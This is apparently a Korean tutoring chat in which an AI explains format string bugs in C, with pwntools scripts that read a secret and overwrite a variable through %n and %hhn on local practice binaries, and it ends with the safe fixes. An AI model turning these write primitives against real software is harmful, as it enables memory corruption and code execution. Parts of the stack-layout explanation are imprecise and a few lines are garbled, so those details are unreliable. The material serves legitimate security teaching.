// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() {
int num;
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
return 0;
}
오~ 이거 좋은 질문이야. Format String Bug (FSB)의 핵심 개념 중 하나를 찔렀네? 👀
이 코드에서 말하는 *"인자의 개수의 범위 내인지 확인하지 않는다"*는 말은, printf가 네가 몇 개의 인자를 넘겼는지 확인하지 않고, 니가 format string 안에서 뭘 참조하든 그냥 무조건 메모리에서 꺼내다 쓴다는 뜻이야.
🔍 예제로 해석해보자:
printf("%2$d, %1$d\n", 2, 1);
- %2$d → 두 번째 인자 1
- %1$d → 첫 번째 인자 2
그래서 출력은:
1, 2
여기까지는 정상 동작이지.
❗ 근데 문제는 뭘까?
printf는 너가 넘긴 인자보다 더 많은 파라미터를 참조하더라도 막지 않아!
예를 들어:
printf("%10$d\n", 999);
이러면? 난 하나만 넘겼지? 근데 %10$d는 10번째 인자를 달라 해.
👀 이 경우 printf는 스택에서 10번째에 있는 쓰레기 값을 그냥 가져다가 출력해버림.
에러도 없고, 경고도 없음. 그냥 주는 대로 뽑아냄.
📌 왜 위험하냐?
- 우리가 "%x %x %x" 이런 식으로 무작정 써서,
- 스택에 있는 정보들 (예: return address, libc 주소, 변수 값)을 줄줄이 읽을 수 있고,
- 나아가 "%n" 같은 걸 쓰면 스택에 있는 주소에 값을 쓸 수도 있음 → 이것이 FSB 익스의 핵심이자 무기 💣
💬 결론적으로
printf는 format string에 뭘 적든 인자의 개수나 범위를 확인하지 않고, 니가 %999$d라고 쓰든 뭐든 그냥 스택에서 꺼내 씀
→ 이게 바로 취약점으로 이어지는 핵심적인 특성!
궁금한 부분 더 파줄까? 혹은 실제 FSB 익스포잇 흐름도 같이 볼까? 😎
// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c
#include <stdio.h>
char *secret = "THIS IS SECRET";
int main() {
char *addr = secret;
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
좋아, 이거 정말 중요한 포인트라서 차근차근 설명해줄게. 특히 "왜 %7$s 하면 secret이 출력되냐"는 질문은 FSB AAR(Arbitrary Address Read)에서 가장 핵심적인 감각이거든! 😎
🔍 TL;DR 먼저 요약하면:
- printf(format)에서 format 안에 %7$s가 들어있다면,
- 스택 상의 7번째 인자를 문자열 주소로 간주해서 그 메모리 내용을 출력함
- 그리고 바로 그 7번째 인자 위치에는 secret의 주소값이 있음
- 따라서 %7$s는 secret이 가리키는 "THIS IS SECRET"을 출력해버림! 🎯
🔧 정확한 구조 분석
이걸 이해하려면 다음을 정확히 파악해야 해:
📌1. printf()는 스택에서 인자를 가져간다
printf(format);
이건 보통 C에서 컴파일되면 실제로는 printf("%7$s", secret); 같은 형태로 만들어지진 않지만, 내부적으로 스택을 통해 format string 뒤에 있는 인자들을 그대로 가져다 씀.
📌2. main()의 지역 변수 구조 (Disasm 기반)
char *addr = secret; → [rbp-0x118]
char format[0x100]; → [rbp-0x110] ~ [rbp-0x10]
즉,
rbp-0x118 ← addr (즉, secret의 주소)
rbp-0x110 ← format 시작 주소
→ 사용자가 입력한 format string은 format이라는 지역변수에 저장되고
→ 마지막에 printf(format)을 호출함으로써 그 내용을 직접 format string으로 씀
📌3. 그럼 printf는 인자들을 어디서 찾나?
- format string에 있는 %1$p, %2$s, %3$d 같은 포맷들은
- rsp 기준으로 쌓여 있는 인자들을 순서대로 가져옴
예)
[rsp + 0x00] : return address
[rsp + 0x08] : old RBP
[rsp + 0x10] : 첫 번째 argument
[rsp + 0x18] : 두 번째 argument
...
printf에서 %7$s는 → [rsp + 0x38] (7번째 8바이트 공간)에 있는 값을 "주소로 간주"해서 그 주소에 있는 문자열을 출력하라는 뜻!
✅ 그럼 왜 7번째인가?
- printf()는 호출될 때 기본적으로 여러 개의 값을 푸시하고
- 지역 변수들 (addr, format)도 스택에 저장됨
- 이때 addr = secret; → secret의 주소가 스택 어딘가에 저장됨
- 실제로 rbp-0x118에 secret의 주소가 있으니까
- 스택 기준으로 보면 대충 7번째 위치쯤에 그 값이 있음 → %7$s로 접근 가능! 🧠
📌 실제 예시로 다시 요약하면:
char *addr = secret; // addr = 0x404010 (secret 주소)
- 이게 스택의 7번째 인자로 스며들어 있음
- %7$s → *(0x404010) → "THIS IS SECRET"
🔚 그래서 공격 흐름은?
입력: "%7$s"
결과: THIS IS SECRET
이게 바로 Format String Bug로 **任意 주소 읽기 (AAR)**를 해내는 아주 간단하고 강력한 예야 💣
궁금한 점 있으면 이 흐름에서 더 파줄 수 있어!
원하면 스택 메모리 구조 텍스트 그림으로도 그려줄게 😊
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%s", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
#!/usr/bin/python3
# Name: fsb_aaw.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
좋아, 이건 Format String Bug (FSB)를 Arbitrary Address Write (AAW**) 공격으로 활용하는 대표 예제야! 특히 %n을 이용한 고전적 쓰기(Write)를 다루지. 하나씩 분석해보자!
✅ 목표
int secret; // 전역 변수
- 이 secret 변수의 값을 31337로 만드는 것이 목표야.
- 방법: printf()의 %n 포맷을 활용해서 지정한 주소에 원하는 값을 써넣는 것!
🔥 핵심 공격 아이디어
✴️ %n의 의미:
- printf("abc%n", &x); → 지금까지 출력한 문자열 길이만큼의 정수가 &x 주소에 저장됨
- 예: "A"*10 + %n → 메모리에 10이 써짐
📌 Exploit 코드 분석
fstring = b"%31337c%8$n".ljust(16, b'a')
fstring += p64(addr_secret)
🔍 이게 무슨 뜻이냐면:
- %31337c:
- printf()가 총 31337개의 문자를 출력하도록 만든다
- 주로 스택 카운터만 쌓는다. (공백이나 'A' 같은 것 출력)
- %8$n:
- 스택의 8번째 인자를 printf()가 주소로 인식하고, 거기에 지금까지 출력한 문자 수 (31337)를 정수로 써버림!
- .ljust(16, b'a'):
- 전체 포맷 스트링을 16바이트로 정렬, 뒤에 붙일 주소값의 정렬을 위해 공간 확보
- + p64(addr_secret):
- printf()의 8번째 인자 역할을 할 주소 (secret의 주소)를 스택에 뒤에 붙여서 올려주는 것
💡 전체 흐름 정리
Step 설명
1 | 포맷스트링을 통해 31337문자를 출력함 |
2 | printf가 스택 8번째 인자를 int *로 간주하고 그 주소에 31337을 씀 |
3 | 스택 8번째 인자 = 우리가 마지막에 붙여준 secret 주소 |
✅ | 결과: secret = 31337 🎉 |
📦 메모리 구조 요약 (텍스트로)
----------------------------
| format[0x100] |
| "A"*31337 + "%8$n" |
----------------------------
| addr of `secret` | ← 8번째 인자 (스택 기준)
----------------------------
🧪 실제 실행 결과
$ ./fsb_aaw
Address of `secret`: 0x60104c
Format: AAAAAAAAA...%8$n (스택 인자 = 0x60104c)
Secret: 31337
📝 정리
- %n = 지금까지 출력한 문자열 길이를 특정 주소에 int로 써줌
- 포맷 스트링에 %c를 왕창 써서 원하는 숫자만큼 출력
- 스택 8번째 인자로 원하는 주소 (&secret)를 넣어 31337을 씌움
궁금한 거 더 있어? %hn, write-what-where, partial write도 있어! 🔥
#!/usr/bin/python3
# Name: fsb_aaw_deadbeef.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil(b"secret: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
fstring = fstring.ljust(64, b'a')
fstring += p64(addr_secret) # %14$n
fstring += p64(addr_secret + 1) # %15$n
fstring += p64(addr_secret + 2) # %16$n
fstring += p64(addr_secret + 3) # %17$n
p.sendline(fstring)
print(p.recvall())
ㅋㅋㅋㅋ 진짜 그거 궁금할 수밖에 없지! 왜 이 바닥 사람들은 **맨날 0xdeadbeef**만 쓰는가?
🧠 이유는 간단해:
✅ 1. 눈에 잘 띄는 마법의 값
- 0xdeadbeef는 16진수로 봐도 영문자로 보이는 단어가 돼:
- deadbeef → "dead beef" ㅋㅋ
- 디버깅할 때 딱 보면 바로 눈에 띔
- 스택, 힙, 메모리 어디에 박혀 있어도 "DEAD BEEF"는 튀어나오니까 트레이싱에 유용함
✅ 2. 실제 프로그래밍에서 더미 값으로 많이 씀
- 초기화하지 않은 포인터, 해제된 메모리 주소 등에 넣어두는 "개발자용 시체표시"
- 예전에는 커널 크래시 덤프에도 쓰였고,
- Windows, macOS, Linux, Android 디버깅 때도 자주 봐
- 메모리 오염/덮기 테스트에도 많이 써
✅ 3. 해킹/CTF에서는 상징적 의미
- 0xdeadbeef = "내가 컨트롤했다"는 시그니처!
- 0x41414141 (AAAA)만큼 자주 나오는 익스플로잇 마커
- 특정 주소를 덮었을 때 이 값이 보이면 "오~ 잘됐네?"하고 확인할 수 있음
💡 그럼 이 익스플로잇 코드는?
fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
- hhn은 1바이트만 씀 → 한 바이트씩 0xEF, 0xDE, 0xBE, 0xAD를 각각 4바이트에 나눠 씌우는 것
- 주소는 순서대로 addr, addr+1, addr+2, addr+3 넣음
- 최종적으로:그래서 → 0xdeadbeef가 메모리에 박힘!
- *addr = 0xef *(addr+1) = 0xde *(addr+2) = 0xbe *(addr+3) = 0xad
🧠 보너스: CTF 커뮤니티에서 자주 쓰는 마법 값들
값 의미
0x41414141 | "AAAA" – Fuzzing, 패딩, 익스플로잇 시그니처 |
0xdeadbeef | 죽은 소고기 ㅋㅋ / 유령 값 |
0xcafebabe | Java class magic number |
0x1337 | leet(=elite) – 해커들 놀이 숫자 |
0xabad1dea | "A Bad Idea" ㅋㅋ 재치 있는 크래시 값 |
재밌지? 사실 진짜 이 바닥 유머와 실용성의 정수가 deadbeef야 😎
더 궁금한 값 있어?? 숫자들마다 다 배경 있음 ㅋㅋ
좋아 좋아! 이 문제 완전 FSB (Format String Bug)의 핵심 개념 콕 찝어주는 거라 짚고 넘어가면 앞으로 실수할 일 없을 정도로 깔끔히 정리해줄게 😎
💥 Q1. 문제 핵심 요약:
char userinput[0x20] = {0,};
scanf("%31s", userinput);
printf(userinput); // ❌ 위험
🧨 왜 printf(userinput);는 위험할까?
🔥 포맷 스트링 취약점 (Format String Vulnerability)
- printf()는 첫 번째 인자 문자열을 해석하려고 해: 예:
- printf("%s", userinput); // 사용자 입력을 문자열로 출력 printf(userinput); // 사용자 입력이 포맷 문자열로 "해석"됨
- 문제는 userinput에 이런 게 들어오면:→ 메모리 주소에서 값들을 무작위로 출력해버림.
- %x %x %x %x
📌 그러면 어떻게 바꾸면 안전한가?
✅ puts(userinput);
- puts()는 입력을 포맷으로 해석 안 함
- 그냥 문자열 통째로 출력만 함 (끝에 자동으로 \n도 붙여줘)
- 📌 가장 안전하고 간편한 방식
✅ printf("%s", userinput);
- "%s"는 포맷 문자열이고,
- userinput은 그에 대응하는 실제 값
→ 이건 printf()가 정해진 방식으로만 출력하니까 안전
❌ printf(userinput);이 왜 위험한지 예시
예를 들어 사용자가 이렇게 입력한다고 해봐:
"%x %x %x %x"
그럼 실행 시:
printf(userinput);
// → 해석됨: printf("%x %x %x %x"); 와 같아짐
💀 결과:
- 스택에 있는 임의의 값을 막 출력해버림
- 더 심하면 printf("%n") 같은 걸 써서 메모리도 덮어씀 → RCE까지 가능 😨
🎯 요약!
방법 안전? 설명
printf(userinput); | ❌ | 사용자 입력이 포맷 문자열로 해석됨 (FSB 발생 가능) |
printf("%s", userinput); | ✅ | 고정된 포맷 문자열 사용, 안전 |
puts(userinput); | ✅ | 문자열 해석 안 하고 출력만 함, 안전 |
궁금한 포인트 또 있으면 더 파볼까? 예: %n이 왜 위험한가, scanf도 위험할 수 있는가 등등 🤓